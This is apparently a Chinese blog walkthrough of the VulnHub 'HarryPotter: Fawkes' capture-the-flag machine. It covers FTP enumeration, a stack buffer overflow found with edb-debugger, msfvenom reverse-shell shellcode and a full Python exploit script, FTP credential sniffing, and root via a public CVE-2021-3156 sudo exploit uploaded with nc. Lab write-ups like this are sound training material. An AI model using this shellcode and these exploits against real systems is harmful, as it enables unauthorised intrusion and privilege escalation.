【VulnHub靶场】——HARRYPOTTER第三部: FAWKES
作者名:Demo不是emo?
主頁面鏈接:主頁傳送門
創作初心:對于計算機的學習者來說,初期的學習無疑是最迷茫和難以堅持的,我也剛接觸計算機1年,也在不斷的探索,在CSDN寫博客主要是為了分享自己的學習歷程,學習方法,總結的經驗等等,希望能幫助到大家
座右銘:不要讓時代的悲哀成為你的悲哀
專研方向:網絡安全,web安全
每日emo:第18次夢見
?
今天的博客內容是HARRYPOTTER: FAWKES教程(困難難度),靶場環境來源于VulnHub,該網站有很多虛擬機靶場,靶場入口在這,推薦大家使用,大家進去直接搜索HARRYPOTTER: FAWKES就能下載今天的靶場,也可以找我拿,開始對今天靶場的介紹?
這是哈利波特vm系列靶場的第三個靶場,總共有三個靶場,其中隱藏了8個魂器,前兩部的靶場中我們已經找到了隱藏的5個魂器,今天這個靶場中隱藏了三個,意思就是今天的靶場有三個flag,話不多說我們來仔細瞧瞧
靶場地址HarryPotter: Fawkes ~ VulnHub
目錄
一:攻擊準備
二:信息收集?
1.http服務探測
2.ftp服務探測
三:信息利用?
1.緩存區溢出漏洞?
2.edb-debugger調試
1.關閉防護
2.安裝edb-debugger
3.開始調試
4.確認漏洞
5. 尋找溢出位置
四.滲透實操
1.生成payload
2.構造exp
3.普通權限
4.初步提權
5.tcpdump流量分析
6.最終提權?
一:攻擊準備
虛擬機下載下來直接在vbox導入就可以,如果出現了報錯,就把啟用usb控制器關掉就可以正常打開了?
??這里除了到vulnhub下載到的目標虛擬機環境,還需要一臺kali,并且兩臺處于同一網段(可以都用橋接模式),虛擬機管理設備用vm和virtual均可,我這里就用virtual來給大家演示了,如下面這樣就是搭建完成了,具體搭建過程就不多講了,不懂得也可以私信問我?
?
??(因為我這是校園網,有防護所以c段不同,這里都用橋接模式即可,而且靶機也顯示了ip地址,不一定要跟我一樣,只要能ping通就可以進行靶場操作了)
二:信息收集?
這里看到,我的kali攻擊機的ip是172.21.43.89,而目標機器的ip是172.21.48.36,既然知道了對方的ip,我們直接用nmap掃描工具詳細掃描一下,掃描結果如下:
?以看到成功探測到了21,22,80,2222,9898,下面我們就來嘗試利用這些端口做進一步的滲透
1.http服務探測
?上方的掃描結果可以看到目標開啟了80端口,并且運行的是http服務,說明目標開啟了網頁服務,我們直接使用瀏覽器訪問目標的ip看看有沒有什么有用的信息
?可以看到只有一張圖片,而且f12開發者頁面也沒有什么有用的信息,通常靶場出現的圖片都帶有隱寫術的使用,但是本題經過測試并沒有,所以還是老規矩直接目錄掃描,這里我們使用dirsearch目錄遍歷工具來探測
?命令如下(把目標ip換成你們自己靶機的)
dirsearch -u "http://172.21.81.133" -e *結果如下
可以看到并沒有什么有用信息,所以80端口的探測只能先暫停了?
2.ftp服務探測
?根據上面我們掃描出來的信息可以看到目標的ftp服務存在匿名登錄漏洞,我想我們應該可以從這個漏洞入手
FTP的匿名登錄一般有三種:
1、 用戶名:anonymous 密碼:Email或者為空
2、 用戶名:FTP 密碼:FTP或者為空
3、 用戶名:USER 密碼:pass??
經過登錄嘗試發現目標的ftp服務用戶名為anonymous,密碼為空,?
??
?現在我們已經成功登陸了目標的ftp服務,現在我們來看看作者留給了我們什么信息
?
?可以看到該服務下有一個server_hogwarts文件(暫時不知道啥用),老規矩,我們用get命令下載到本地,由于我們不知道這個文件的作用,所以我們用file命令來查看文件,結果如下
?
可以看到這是一個基于linux的elf可執行文件,既然是可執行文件,,那我們就執行試試,所以我們先給這個文件一個執行權限,再執行該文件,結果如下
?
?可以看到執行后并沒有報錯或爆出有效信息,但是卻一直在運行,所以有沒有可能是在后臺或進程運行呢?所以我們來看看系統進程,命令如下
ps -aux | grep server 顯示名字包含server的所有進程ss -pantu | grep server 用ss查看已經建立的并且名字帶有server的連接信息注:
* ps命令多用來查看進程狀態,平時用的也比較多,就不多講了
* ss 是 Socket Statistics 的縮寫。ss 命令可以用來獲取 socket 信息,對ss命令感興趣的同志可以點這里查看
查看到的結果如下圖:
?可以看到這個server_hogwarts這個進程正在運行中。并且運行的端口號和我們在掃描服務版本時同樣是9898端口。
根據上面nmap掃描出來的信息可以發現9898端口運行的服務是monkeycom,根據我查閱的資料發現monkeycom是一種比較老的服務器,但是我還是不太理解,我們換個思路,既然server_hogwarts程序運行在9898端口,那我們就直接監聽9898端口,看看有什么效果
因為我們正在運行server_hogwarts程序,所以我們直接用nc工具監聽本地的9898端口即可?
?可以看到是一個輸入命令的頁面,提示我們輸入魔法指令,還給出了常用的魔法指令,但是我們再輸入后并沒有得到有用的信息,但因為這個是一個輸入點,所以我們可以考慮輸入點常見的漏洞——緩存區溢出漏洞
三:信息利用?
1.緩存區溢出漏洞?
?緩沖區溢出(buffer overflow),是針對程序設計缺陷,向程序輸入緩沖區寫入使之溢出的內容(通常是超過緩沖區能保存的最大數據量的數據),從而破壞程序運行、趁著中斷之際并獲取程序乃至系統的控制權。
而緩存區溢出漏洞最重要的就是找出緩存區溢出的位置,這里我們使用edb-debugger調試工具來動態測試server_hogwarts進程并找出緩存區溢出漏洞的溢出位置
2.edb-debugger調試
edb-debugger是一個跨平臺的 AArch32 / x86 / x86-64 調試器,具體使用步驟如下
1.關閉防護
我們是通過ftp服務下載server_hogwarts到本地來調試,目的就是找出它的緩存溢出位置,但是kali本機存在ALSR安全技術,地址空間隨機化,會造成內存地址的隨機化,導致我們無法確定緩沖區溢出的位置。所以要關閉。
步驟:如下圖,cd到/proc/sys/kernel目錄下把randomize_va_space改成0即可
2.安裝edb-debugger
?安裝命令如下
apt install edb-debugger安裝之后如下圖,輸入edb即可啟動并打開調試界面
3.開始調試
注意:到這里時前面的server_hogwarts文件需要保持運行狀態,而且9898端口的連接也不要斷開
點擊左上角的file——attach
?找到我們要調試的進程,就是剛才我們運行的server_hogwarts,選中點擊ok即可
?再點擊運行(就是我用紅圈劃出來的按鍵)即可開始調試這個進程
4.確認漏洞
因為我們要來調試緩存區溢出漏洞, 所以就需要大量的數據,這里我們先用python生成500個A來試試,生成命令如下:
python -c "print('A'*500)"把生成的500個A復制到剛才nc監聽9898端口的輸入位置,回車再進行分析
可以看到這里出現了報錯,提示我們0×41414141的內存位置出現了錯誤,這時說明已經調試到了錯誤的位置,即確實存在代碼溢出漏洞,我們點擊ok,詳細查看一下錯誤信息
?注:這里的EIP寄存器存儲的是下一個指令的內存地址(可以理解為調試工具需要根據EIP才知道下一個調試的指令),而ESP存儲器存儲的是是的具體指令,?
攻擊思路:我們可以通過修改EIP的內容,從而使指令跳轉到ESP,強制執行ESP的指令。如果ESP的指令是反彈shell的指令,就可以反彈shell。
5. 尋找溢出位置
既然確認了目標存在緩存區溢出漏洞,就需要找到緩存區溢出的位置,從而知道該從哪里插入攻擊代碼,同樣的我們還是生成大量數據。
注:這里就不能像上面一樣都生成A了,因為數據如果都一樣的話就不知道溢出的位置在哪里,我們需要通過報錯的地方判斷出溢出位置
這里我們使用msf生成500無規律排列的字符,代碼如下
msf-pattern_create -l 500重啟edb,和上面同樣的操作開啟調試,此時將msf生成的無規律字符輸入,此時頁面如下
?此時的報錯提示我們0×64413764內存位置有問題,那這個位置很有可能就是想找的溢出位置,我們來找一下這個內存位置在輸入區的位置
查詢溢出位置
msf-pattern_offset -l 500 -q 64413764?可以看到偏移量為112,所以64413764就是在113個位置,當然這里也可以再來驗證一下,順便讓你們更深刻的理解一下EIP寄存器和ESP寄存器的位置關系
老樣子重啟edb,用下面的命令生成一段調試代碼,意思就是生成216個字符,前112個是A,然后是4個B,最后跟100個C
python -c "print('A'*112+'BBBB'+'C'*100)"再用edb調試,結果如下
?再次看到報錯信息,此時提示0×42424242位置有問題,而42正是B的16進制,說明沒啥問題,此時點擊ok查看EIP和ESP的內容,內容如下
可以發現EIP寄存器的內容是BBBB,ESP寄存器內容是CCCC?
再結合我們最開始的攻擊思路,生成一段反彈shell的代碼,并轉化為16進制,放入ESP,再讓EIP指向ESP,就可以強制執行ESP的代碼了,也就是反彈shell的代碼
但是這里我們不僅需要在ESP中放入payload,還需要讓EIP指向ESP,那怎樣指向呢?具體操作步驟如下
?在跳轉設置中選中ESP->EIP,即將ESP的內存地址作為EIP的內容,這樣就可以實現EIP指向ESP了,在左側選擇執行此操作的進程(注意要選擇有執行權限的,就是r-x)
?此時點擊FInd就會找到ESP的內存位置,選擇jmp esp的內存地址,那就是我們要寫入EIP的內容
?可以看到結果是08049d55,但是眾所周知機器命令中需要反寫,所以就是559d0408(兩位為一個16進制),最后得出的16進制結果就是\x55\x9d\x04\x08,這就是我們需要寫入EIP的內容
四.滲透實操
1.生成payload
這個生成的payload就是我們用來放進ESP并執行的反彈shell代碼,但注意這里需要16進制的payload,我們直接使用msfvenom來生成就可以了,代碼如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.21.36.188 LPORT=4444 -b "\x00" -f python注意這里的ip要換成你們自己的kali攻擊機ip,這里的反彈shell端口隨便定,只要不沖突都可以,生成結果如圖
?生成的paylao如下
buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"2.構造exp
上面我們已經成功獲取payload,但并不是最終的payload,因為還要考慮緩存溢出位置的問題,并且這段代碼不能作出攻擊行為,所以我們還需要配合這個payload來寫個python腳本,生成最終的payload并編寫exp來攻擊,最后生成的exp如下
#!/usr/bin/python2 import sys,socket buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf try:s=socket.socket()s.connect(('172.21.81.133',9898))s.send((payload))s.close() except:print('wrong')sys.exit()注:這里connect連接的是靶機的9898端口?
新建一個python文件存放上面的代碼
3.普通權限
先用nc監聽最開始設置的反彈shell端口,再在本地執行我們生成的python文件,具體操作如下
1.用nc監聽 nc -lnvp 4444 2.執行exp文件 ./exp.py結果如下?
?可以看到成功連接,是一個名為harry的普通用戶,并且在家目錄的harry目錄下,成功發現隱藏文件.mycreds.txt,打開后發現是一段類似密碼的字符串
HarrYp0tter@Hogwarts1234.初步提權
?看到了類似密碼的字符串,馬上就聯想到了前面探測出的22端口,并且harry用戶名我們也知道了,嘗試ssh登錄,發現失敗,但是最開始探測時,22端口運行的是ssh服務,但是還有一個2222端口運行的也是ssh服務,所以我們再嘗試一下2222端口的ssh登錄
成功登陸,嘗試進一步信息收集
?但是進一步操作時卻發現這臺機器居然處于docker容器中,這無疑給我們加大了很多難度
但是在使用sudo -l時發現sudo命令的可執行者是ALL,就代表sudo存在配置問題,所以我們直接使用sudo -s成功拿到當前docker容器的root權限
?成功在/root目錄下發現隱藏文件horcrux1.txt文件,這是本關的第一個flag,內容如下:
?horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
還發現了一個note.txt文件,內容如下
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.?這段話大致意思就是提示我們去分析ftp服務上的流量
5.tcpdump流量分析
?我們用tcpdump流量分析工具來監聽21端口上ftp服務的流量(因為剛才ip a命令只查看到了etho這一張網卡,所以我們猜測數據是基于這張網卡產生的),具體命令如下?
tcpdump -i eth0 port 21根據截取到的流量可以看到,三次握手中發出的數據包含了賬密,并且提示了我們這個賬密用于登錄,所以我們也成功拿到了賬密?
賬號:neville
密碼:?bL!Bsg3k
?老樣子還是嘗試通過ssh連接,但是這里用22端口的ssh就可以登錄
?可以看到ssh成功登錄,并且ip a命令回顯了IP地址,確認了我們現在已經跳出了docker容器
?在家目錄的neville目錄下成功發現了第二個flag,內容如下:
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
6.最終提權?
?最開始嘗試了常規提權方法,sudo提權,歷史命令,反彈shell等操作提權,但均以失敗告終,此時就只能從系統層面入手了,所以我們先對系統進行一次信息收集
可以發現這是一臺debian10,sudo的版本是1.8.27,我們上網搜索一下看是否存在漏洞?
?接著就是找exp,很幸運,在github上有針對該漏洞的exp,鏈接如下
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub
?直接在kali新建一個python文件,把代碼復制上去,注意這個代碼唯一需要修改的地方就是sudo的路徑,也就是下方我劃出來的位置,要改成跟目標sudo一樣的路徑,像下面這樣就可以了
?因為此時exp文件在kali上,而我們需要目標執行這個exp文件,所以我們用nc將這個exp文件上傳到目標機器
目標機器上執行的下面的操作(exp.py就是接收時文件的保存名)
nc -nvlp 4444 > exp.py
kali攻擊機執行下面的操作(exploit.py就是剛才創建的python文件)
nc 172.21.81.133 4444 < exploit.py -w 1
?
執行結果如下:?
?可以看到成功提權,已經是root用戶
第三個也就是最后一個flag在root目錄下即可看見
?第三個flag內容為
Here is your last hocrux:horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
到此這個靶場就打完了,哈利波特系列的三個靶場也都結束了,恭喜你成功擊敗了最后一個魂器!?
真的淚目,三個靶場一個比一個難,但對我來說確實收獲很大,接觸了很多以前不知道的知識,感謝自己沒有放棄,堅持到了最后,同學們加油哇,respect!
總結
以上是生活随笔為你收集整理的【VulnHub靶场】——HARRYPOTTER第三部: FAWKES的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据结构练习题——线性表
- 下一篇: 数据结构——二叉树相关练习题